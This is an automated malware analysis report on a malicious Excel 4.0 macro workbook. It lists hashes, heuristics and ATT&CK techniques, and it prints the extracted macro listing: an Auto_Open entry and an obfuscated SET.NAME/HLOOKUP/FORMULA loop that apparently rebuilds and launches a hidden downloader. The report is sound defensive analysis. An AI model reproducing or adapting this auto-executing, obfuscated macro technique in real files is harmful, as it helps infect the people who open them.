Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0034fbbfe906875f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:46:47 Authoring application: Microsoft Excel First seen: 2021-09-17
MD5: de5e70720f5babcb3f691d88fbd3e669 SHA-1: 121865a72a9be8314a8b1a2de770d1c86806afa6 SHA-256: 0034fbbfe906875fd1f961c331040175dc9c30cb30a4a24f5a9dfb4eb87edf79
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open defined name, which is a critical indicator of malicious intent. This technique is commonly used to execute arbitrary code upon opening the document. The presence of dangerous formula APIs like RUN further supports the likelihood of payload execution. No specific URLs or hashes were extracted, but the Auto_Open macro is designed to download and execute a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6474 bytes
SHA-256: 011fa5862a2af11f638cd4f971113ddff6682d9ed997b270bbe5781611ffd909
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ISgTEZ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G152 
' 0018     26 LABEL : Cell Value, String Constant - ckwUnAaEIUH len=0 
' 0018     25 LABEL : Cell Value, String Constant - DUftqlvoYY len=0 
' 0018     24 LABEL : Cell Value, String Constant - EvzDTtzfK len=0 
' 0018     25 LABEL : Cell Value, String Constant - fFcwfeDdBg len=0 
' 0018     27 LABEL : Cell Value, String Constant - FrrrVwAeSaKx len=0 
' 0018     26 LABEL : Cell Value, String Constant - gSShUsZiPhp len=0 
' 0018     25 LABEL : Cell Value, String Constant - iSNHGtYdeP len=0 
' 0018     24 LABEL : Cell Value, String Constant - JTMfcEOhZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - JuXINhWpRq len=0 
' 0018     21 LABEL : Cell Value, String Constant - KGgrHX len=0 
' 0018     21 LABEL : Cell Value, String Constant - mlnlSm len=0 
' 0018     24 LABEL : Cell Value, String Constant - mWgqXRIKS len=0 
' 0018     22 LABEL : Cell Value, String Constant - pmxXJKC len=0 
' 0018     23 LABEL : Cell Value, String Constant - SHSZQEKk len=0 
' 0018     22 LABEL : Cell Value, String Constant - tDBqsml len=0 
' 0018     21 LABEL : Cell Value, String Constant - vQTKbX len=0 
' 0018     20 LABEL : Cell Value, String Constant - wAHxL len=0 
' 0018     20 LABEL : Cell Value, String Constant - XdCME len=0 
' 0018     24 LABEL : Cell Value, String Constant - yDryLVxUZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - zRbbHibYsR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ISgTEZ,G61,"SET.NAME("JTMfcEOhZ",VALUE("0"))",""
'  ISgTEZ,G64,"SET.NAME("yDryLVxUZ",JTMfcEOhZ)",""
'  ISgTEZ,G66,"SET.NAME("mlnlSm",JTMfcEOhZ)",""
'  ISgTEZ,G68,"SET.NAME("gSShUsZiPhp",COUNTA(ckwUnAaEIUH))",""
'  ISgTEZ,G71,"SET.NAME("XdCME",COUNTA(vQTKbX))",""
'  ISgTEZ,G76,[],""
'  ISgTEZ,G79,"SET.NAME("mWgqXRIKS","")",""
'  ISgTEZ,G84,"yDryLVxUZ",""
'  ISgTEZ,G87,"SET.NAME("pmxXJKC",HLOOKUP("*",ckwUnAaEIUH,yDryLVxUZ,FALSE))",""
'  ISgTEZ,G91,"fFcwfeDdBg",""
'  ISgTEZ,G95,"SET.NAME("tDBqsml",JTMfcEOhZ)",""
'  ISgTEZ,G99,[],""
'  ISgTEZ,G104,"tDBqsml",""
'  ISgTEZ,G109,"zRbbHibYsR",""
'  ISgTEZ,G114,"DUftqlvoYY",""
'  ISgTEZ,G118,"EvzDTtzfK",""
'  ISgTEZ,G120,"SET.NAME("SHSZQEKk",VALUE(HLOOKUP("*",vQTKbX,EvzDTtzfK,FALSE)))",""
'  ISgTEZ,G125,"wAHxL",""
'  ISgTEZ,G129,"mWgqXRIKS",""
'  ISgTEZ,G131,"mlnlSm",""
'  ISgTEZ,G133,NEXT(),""
'  ISgTEZ,G135,"KGgrHX",""
'  ISgTEZ,G138,"SET.NAME("f",INT(T(FORMULA(T(mWgqXRIKS)&"",""&T(KGgrHX)))))",""
'  ISgTEZ,G142,"iSNHGtYdeP",""
'  ISgTEZ,G144,NEXT(),""
'  ISgTEZ,G149,RETURN(),""
'  ISgTEZ,G176,"SET.NAME("FrrrVwAeSaKx",G61)",""
'  ISgTEZ,G181,"ckwUnAaEIUH",""
'  ISgTEZ,G185,"SET.NAME("vQTKbX",R44C14)",""
'  ISgTEZ,G190,"SET.NAME("iSNHGtYdeP",195)",""
'  ISgTEZ,G192,"SET.NAME("JuXINhWpRq",7)",""
'  ISgTEZ,G194,FrrrVwAeSaKx(),""
'  ISgTEZ,G195,HALT(),""